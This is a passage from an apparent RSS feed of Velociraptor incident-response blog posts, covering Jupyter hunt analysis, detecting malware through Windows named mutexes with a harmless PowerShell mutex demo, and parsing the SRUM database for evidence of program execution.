Slowly the total number reached gradually the entire fleet.&lt;/p&gt;&#xA;&lt;p&gt;This graph demonstrates that in practice, while we can query the hunt immediately in order to triage those machines currently online, as machines are added to the hunt over time the hunt’s data is growing and changing.&lt;/p&gt;&#xA;&lt;p&gt;Jupyter allows each cell to re-run and refresh its output at any time. For important cells we might want to re-run them a few days later to ensure more complete data coverage.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;Jupyter is a great analysis tool because it provides for a way to document our reasoning behind our findings. We can keep a record of all the things we checked, together with the relevant VQL queries. Once complete, the notebook can be exported to HTML for a static view of our findings and can form part of our report.&lt;/p&gt;&#xA;&lt;p&gt;Through the Velociraptor API we are able to issue VQL queries directly to the server. This avoids having to export data, move it to another system, insert into another database and then query it. The query will always access the latest data available on the server.&lt;/p&gt;&#xA;&lt;p&gt;Although Velociraptor might feel a little like a database as we query it to post process hunts, it does not actually maintain any indexes. This means that each query, Velociraptor is effectively doing a full row scan on the entire hunt result. This can get quite slow for artifacts that collect huge amounts of data. However, in practice we tend to collect surgical artifacts with a relatively small data set by selecting pre-filters within the client side artifacts. There is a tradeoff between being surgical in collection and managing large data sets in post processing.&lt;/p&gt;&#xA;&lt;p&gt;If you see yourself executing a lot of queries repeatedly on the same dataset it is probably faster to upload it to Elastic. However, in most cases, we simply want to examine one hunt at a time, and triage the results in a fairly rudimentary way, so that row scan is acceptable.&lt;/p&gt;&#xA;&lt;p&gt;I especially like the Jupyter notebook and intend to write entire reports in it as a way of keeping track of any investigation details and results obtained.&lt;/p&gt;&#xA;&lt;p&gt;I find that in practice I tend to write very simple VQL queries into the notebook. Most of the time I narrow the columns down, then add inclusion and exclusion filters to see the relevant data. Although VQL is extremely powerful, I think most people would find the simple VQL in the notepad pretty straight forward. Give it a try and see how you go!&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Hunting Malware using Mutants</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/</link>
      <pubDate>Sun, 12 Jan 2020 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/</guid>
      <description>&lt;h4 id=&#34;by-mike-cohen&#34;&gt;By Mike Cohen&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/../../img/0_VnKhzd08IqjE54X.jpg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Recently Velociraptor has gained some interesting process analysis features. This is the first in a series of short articles discussing how you can use these new features to inspect suspicious processes on your endpoint and hopefully catch malware before it can gain a long term foothold.&lt;/p&gt;&#xA;&lt;p&gt;This article will focus on windows Named Mutex Objects (On windows these are called Mutant Objects for some reason).&lt;/p&gt;&#xA;&lt;h3 id=&#34;mutants-and-malware&#34;&gt;Mutants and Malware&lt;/h3&gt;&#xA;&lt;p&gt;What is a Mutant? In the Windows world, a Mutant is a kernel object&#xA;which allows programs to synchronize events between them. Malware&#xA;often uses a named Mutant to ensure it does not re-infect the same&#xA;machine and only run a single copy of the malware.&lt;/p&gt;&#xA;&lt;p&gt;For example, consider malware which is delivered via a malicious word&#xA;document. Each time the document is opened, the malware may&#xA;unnecessarily reinfect the machine, increasing its chance of&#xA;detection. To avoid this, the malware attempts to open a named mutex&#xA;with a predetermined hard coded name. If the&#xA;&lt;a href=&#34;https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;CreateMutex&lt;/code&gt;&lt;/a&gt;&#xA;call succeeds then the malware can continue to run. If the call fails&#xA;it is most likely because another copy of the malware is already&#xA;running, therefore the malware will exit.&lt;/p&gt;&#xA;&lt;p&gt;The actual name of the mutant is randomly chosen but typically predictable. Many malware variants hard code the name (more on this below). Services such a Virus Total and malware classification and analysis systems will often record the names of the created Mutex objects in their analysis. For example consider the following hash I grabbed in random from the OSINT thread feed at &lt;a href=&#34;https://osint.digitalside.it/Threat-Intel/digitalside-misp-feed/5e1533e4-bb94-4c3f-82c2-2263c0a8018c.json&#34; target=&#34;_blank&#34; &gt;https://osint.digitalside.it/Threat-Intel/digitalside-misp-feed/5e1533e4-bb94-4c3f-82c2-2263c0a8018c.json&lt;/a&gt; . This particular alert concerns a specific malware detected by &lt;a href=&#34;https://www.virustotal.com/gui/file/6b78ad1d871efaf95ef0f48ac62bc00b948ea80f96ee21b4d29dbd76a0a10ee0/detection&#34; target=&#34;_blank&#34; &gt;VirusTotal&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/../../img/1xcKqFOcYn6PWqa-3WSc5hw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;It looks pretty nasty. VirusTotal also documents some interesting behavioral characteristics. Specifically we see the malware creates a bunch of Mutex objects with specific names&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/../../img/1qS7_iGW3UwaFxVKPAEgu8A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can use this information to hunt for the specific mutexes in our environment to check if the malware is installed anywhere. Even if we don’t get a hit right away, it is still useful to collect all the Mutant objects on our endpoints anyway and record them for historical purposes — we can then routinely run known bad mutant names against our historical record to detect past compromises we may not have been aware of.&lt;/p&gt;&#xA;&lt;h3 id=&#34;simulating-malware-that-uses-mutants&#34;&gt;Simulating Malware that uses Mutants&lt;/h3&gt;&#xA;&lt;p&gt;Let’s emulate the behavior of a typical rootkit malware. The following simple PowerShell script simply tries to acquire a global mutant and if successful proceeds to sleeping for some time. If the script is unable to acquire the mutant, it will simply exit.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-powershell&#34;&gt;$createdNew = $False&#xA;$mutex = New-Object -TypeName System.Threading.Mutex(&#xA;       $true, &amp;quot;Global\MyBadMutex&amp;quot;, [ref]$createdNew)&#xA;if ($createdNew) {&#xA;  echo &amp;quot;Acquired Mutex&amp;quot;&#xA;  sleep(100)&#xA;} else {&#xA;  echo &amp;quot;Someone else has the mutex&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Lets test this script — the first time it is run from one terminal the mutant is acquired. If run again the script is unable to obtain the mutant and simply exits after printing a message.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/../../img/1QjSyPyxu3v6dOwZ460howg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor has an artifact specifically designed to collect Mutants from Windows endpoints. Let’s take a closer look at the VQL behind the &lt;strong&gt;Windows.Detection.Mutants&lt;/strong&gt; artifact&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/../../img/15-jpdsPauFv5wVBdMMiJRg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The artifact actually offers two methods for collecting Named Mutex objects:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Collecting via the &lt;strong&gt;handles()&lt;/strong&gt; VQL plugin will enumerate all &lt;a href=&#34;https://docs.microsoft.com/en-us/windows/win32/sysinfo/kernel-objects&#34; target=&#34;_blank&#34; &gt;open handles&lt;/a&gt; for each process and filter out only the Mutant handles.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Using the Kernel Object Tree, the &lt;strong&gt;winobj()&lt;/strong&gt; VQL plugin enumerates the &lt;a href=&#34;https://docs.microsoft.com/en-us/windows/win32/sync/object-namespaces&#34; target=&#34;_blank&#34; &gt;kernel’s object namespace.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Let’s see what this artifact returns (I will filter the GUI to only show the Mutant we created to avoid confusion, since there are typically many Mutants on a real system created by legitimate software). The following figures show the bad mutant as discovered via the two supported methods&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/../../img/1v6c84PV3lD_77ICQDfuBgA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Mutant discovered by the handles() plugin method&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Mutant discovered by the handles() plugin method&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;Mutant discovered by the handles() plugin method&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/../../img/1sU6LWAc-Qv4yC7knzPcXnw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Mutant discovered by inspecting the Windows Object Namespace&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Mutant discovered by inspecting the Windows Object Namespace&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;Mutant discovered by inspecting the Windows Object Namespace&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Clearly enumerating the handles of each process is much more useful — we can tell the process that actually holds the mutant handle (which in practice would be the rootkit process itself — or the host process in case of dll injection). Enumerating the kernel’s object namespace does not actually reveal a lot of context information but does positively identify the mutant’s presence. (The entire collection took around 6 seconds most of the time was spent enumerating all process handles).&lt;/p&gt;&#xA;&lt;p&gt;In practice enumerating the handles of all running processes is much more expensive than simply enumerating the kernel’s namespace. Usually we just want to confirm or deny a specific Mutant name (which might appear in our threat intelligence stream) and for this it is sufficient to enumerate the kernel’s object namespace. Additionally, Velociraptor is unable to attach to some processes in order to enumerate their handles (e.g. system level processes) so it is not always able to get all handles. However, enumerating the kernel’s object namespace works better.&lt;/p&gt;&#xA;&lt;h2 id=&#34;turning-detection-into-monitoring&#34;&gt;&lt;strong&gt;Turning detection into monitoring&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;While hunting for mutants periodically across the network is not too difficult (simply schedule a hunt for the &lt;strong&gt;Windows.Detection.Mutants&lt;/strong&gt; artifact) what would be really nice is to get a continuous live stream of mutants as they appear on the endpoint. This is a classic example of turning a Velociraptor artifact into a monitoring artifact.&lt;/p&gt;&#xA;&lt;p&gt;I will start off by reusing the &lt;strong&gt;Windows.Detection.Mutants&lt;/strong&gt; artifact. I will only use the method which enumerates the kernel namespace via the &lt;strong&gt;winobj()&lt;/strong&gt; VQL plugin — first I search for it then click the edit button.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/../../img/12CL6_OlHYcn6SBuuD1JwIQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I will change the type of the artifact to &lt;strong&gt;CLIENT_EVENT&lt;/strong&gt; — this will allow Velociraptor to run it as a monitoring artifact on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;What I actually want to collect are names of new mutant objects as they are created. I will enumerate the mutants periodically and then simply send the new mutants that appear since the last time as events to the server.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://www.velocidex.com/docs/vql_reference/event/&#34; target=&#34;_blank&#34; &gt;&lt;strong&gt;diff()&lt;/strong&gt; &lt;/a&gt;VQL plugin is perfect for this — the plugin simple runs a query periodically (e.g. every minute) then emits the rows which have been added or removed from last time.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/../../img/11LTau_Ip_MRc6-ppQbXm9Q.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now I will simply add the monitoring artifact to the client’s event monitoring table. This will get the endpoint to sync its monitoring artifacts and begin watching for new mutants.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/../../img/1brhdj2MIDJyb6FV4TgT9uw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;A short time later, the events begin flowing to the server. I will run my PowerShell script to generate some bad mutant names and watch it in the GUI&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/../../img/1qu-OoE-SWwrQhMptI-rGmQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Once the event monitoring queries are synced with the client, the client will continue monitoring for new mutants — event when the endpoint is offline! The events will simply be queued on the endpoint until such time it can deliver them to the server.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Conclusions&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In practice this is only a part of a larger solution. The mutants we collect from the endpoint are simply collected in the Velociraptor data store as large CSV files. It is possible to quickly search them (e.g. with a yara rule) and determine if any of the endpoints have a particular mutant name. For example if you have a threat feed with mutant names you may simply scan over all your historical files periodically.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively you can forward these events to a SIEM or Elasticsearch for easier integration with existing tooling (See&lt;a href=&#34;https://medium.com/velociraptor-ir/velociraptor-to-elasticsearch-3a9fc02c6568?source=friends_link&amp;amp;sk=033f359180bf97b2b1f48a021ad3f0c5&#34; target=&#34;_blank&#34; &gt; Velociraptor to Elastic&lt;/a&gt;). Velociraptor’s role is simply to collect the data — indexing and searching is left to you.&lt;/p&gt;&#xA;&lt;p&gt;Hunting based on mutant name is an old technique and many new malware tools have adapted to produce semi-random mutant names, unique for each machine (e.g. they might hash the hostname to get a unique but stable mutant name). By collecting mutant names from all machines in your deployment you might be able to identify suspicious names even if they are unique.&lt;/p&gt;&#xA;&lt;p&gt;Have you had much success hunting malware based on mutant names? Add your comments below to share your experiences…&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Digging into the System Resource Usage Monitor (SRUM)</title>
      <link>https://www.velociraptor-docs.org/blog/2019/2019-12-31_digging-into-the-system-resource-usage-monitor-srum-afbadb1a375/</link>
      <pubDate>Tue, 31 Dec 2019 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2019/2019-12-31_digging-into-the-system-resource-usage-monitor-srum-afbadb1a375/</guid>
      <description>&lt;h2 id=&#34;uncovering-history-with-velociraptor&#34;&gt;Uncovering history with Velociraptor&lt;/h2&gt;&#xA;&lt;h4 id=&#34;by-mike-cohen&#34;&gt;By Mike Cohen&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-31_digging-into-the-system-resource-usage-monitor-srum-afbadb1a375/../../img/0_yFgW11ar3mogfljd.jpg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Commonly in many incident response scenarios we need to gather evidence of program executions. For example, a phishing email delivering malware was sent to a user — did the user click on it? Did the malware run? was the email forwarded to any other users?&lt;/p&gt;&#xA;&lt;p&gt;One of the most useful sources of evidence of execution on Windows is the System Resource Usage Monitor (SRUM). It was first described by Yogesh Khatri in the seminal paper “&lt;a href=&#34;https://www.sciencedirect.com/science/article/pii/S1742287615000031&#34; target=&#34;_blank&#34; &gt;Forensic implications of System Resource Usage Monitor (SRUM) data in Windows 8&lt;/a&gt;”.&lt;/p&gt;&#xA;&lt;p&gt;SRUM is a feature in modern Windows systems which collect statistics on execution of binaries. The information is stored in an Extensible Storage Engine (ESE) database. ESE is Microsoft’s proprietary single file database format, acting similarly to SQLite, as a default storage engine for many applications — including the SRUM database.&lt;/p&gt;&#xA;&lt;p&gt;As from the &lt;a href=&#34;https://github.com/Velocidex/velociraptor/releases/tag/v0.3.7&#34; target=&#34;_blank&#34; &gt;0.3.7 release of Velociraptor&lt;/a&gt;, an ESE parser is built into the client, allowing VQL artifacts to directly query ESE databases. This opens up the exciting possibility of extracting and querying information from the SRUM database directly on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Although this post will not go into detail on SRUM itself (This is covered in detail &lt;a href=&#34;https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf&#34; target=&#34;_blank&#34; &gt;elsewhere&lt;/a&gt;), I will describe how Velociraptor’s SRUM artifact can be used to hunt efficiently across many thousands of endpoints to collect evidence relevant to DFIR investigations.&lt;/p&gt;&#xA;&lt;p&gt;Have you ever noticed the windows task manager’s “App History” tab?&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-31_digging-into-the-system-resource-usage-monitor-srum-afbadb1a375/../../img/1_1t_puy5xiAPvR4XUosSQtg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The Task Manager App History tab&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    The Task Manager App History tab&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;The Task Manager App History tab&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This tab shows running counts of many applications, broken by user that ran them, including network traffic, and total CPU time. Where does the information come from?&lt;/p&gt;&#xA;&lt;p&gt;It turns out that the SRUM database is stored within tables inside the ESE database at &lt;em&gt;%windir%\System32\sru\SRUDB.dat.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s examine Velociraptor’s &lt;strong&gt;Windows.Forensics.SRUM&lt;/strong&gt; artifact&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-31_digging-into-the-system-resource-usage-monitor-srum-afbadb1a375/../../img/1_Ajiq0F2RaIoqhj8PnuoCvA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The artifact contains several sources — examining a different table within the SRUM ESE database. As can be seen, the ESE database is parsed using Velociraptor’s raw NTFS parser since it is usually locked while the system is running. The artifact allows filtering for a specific application name by regular expression.&lt;/p&gt;&#xA;&lt;p&gt;The SRUM database actually contains many tables collecting different runtime telemetry. Some of these tables are not publicly documented but may still contain valuable information. It is worthwhile inspecting the raw database file using an external tool (e.g. &lt;a href=&#34;https://www.nirsoft.net/utils/ese_database_view.html&#34; target=&#34;_blank&#34; &gt;Nirsoft **ESEDatabaseView&lt;/a&gt;**). The &lt;strong&gt;Windows.Forensics.SRUM&lt;/strong&gt; artifact will by default upload the raw ESE file to the server as well as parse it.&lt;/p&gt;&#xA;&lt;p&gt;To demonstrate the artifact, I am now going to collect it from one of my endpoints.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-31_digging-into-the-system-resource-usage-monitor-srum-afbadb1a375/../../img/1_tQOsldVH7wYGPV56wr0xBA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I simply search for my endpoint in the GUI, then click* “Collect More Artifacts” *and search for &lt;strong&gt;SRUM&lt;/strong&gt; in the search box. I then add this artifact and click “&lt;strong&gt;Next&lt;/strong&gt;” to launch it.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-31_digging-into-the-system-resource-usage-monitor-srum-afbadb1a375/../../img/1_WimaboQJfGvgXKNY6HeCEQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The above shows that the endpoint took around 80 seconds to collect the entire artifact. This includes uploading the 28MB SRUM database, parsing some of the tables in it, and uploading the parsed results.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-31_digging-into-the-system-resource-usage-monitor-srum-afbadb1a375/../../img/1_fG5W7kOMtrmnB3mnGuWyeQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Viewing the logs generated by the executing query give an indication of how the query is progressing.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-execution-stats-source&#34;&gt;The Execution Stats source&lt;/h3&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s inspect a sample from the “Execution Stats” source&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-31_digging-into-the-system-resource-usage-monitor-srum-afbadb1a375/../../img/1_3lM3jXI47Z1eDQVjoLSfYQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We get some interesting information, such as the time an application ran (this is determined by the &lt;strong&gt;EndTime&lt;/strong&gt; and &lt;strong&gt;DurationMS&lt;/strong&gt; — the **Timestamp **column actually refers to when the ESE record was written which may be some time later), the user who ran it, and the duration it was executing. Sometimes the information also includes valid network transfer count which might be useful for some investigations (e.g. exfiltration).&lt;/p&gt;&#xA;&lt;h3 id=&#34;application-resource-usage&#34;&gt;Application Resource Usage&lt;/h3&gt;&#xA;&lt;p&gt;This artifact source stores cumulative information about the running executable. Therefore it can not be used to determine exact start time (The Timestamp field corresponds to when the record was written to the ESE database). The advantage here is that the full path is provided, making it easy to search for executables running from unusual locations (e.g. temp folders and network drives).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-31_digging-into-the-system-resource-usage-monitor-srum-afbadb1a375/../../img/1_RLUyUIKBk5VHpHwIlOMAKQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;hunting-the-srum-database&#34;&gt;Hunting the SRUM database&lt;/h2&gt;&#xA;&lt;p&gt;Sometimes we need to determine which endpoint in our fleet has run a particular binary — perhaps with a unique name. For example, a phishing campaign might launch a trojan malware with a specific name.&lt;/p&gt;&#xA;&lt;p&gt;To simulate this I copied a binary to the user’s temp folder with the unique name &lt;code&gt;sdfjhsdfc.exe&lt;/code&gt;. I then ran it for a while.&lt;/p&gt;&#xA;&lt;p&gt;Next, I created a hunt, but this time, instead of dumping the entire SRUM table, I filtered the results by the name of the binary.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-31_digging-into-the-system-resource-usage-monitor-srum-afbadb1a375/../../img/1_KGdoKsM1v3RcqRhqREVueg.png&#34;&#xA;         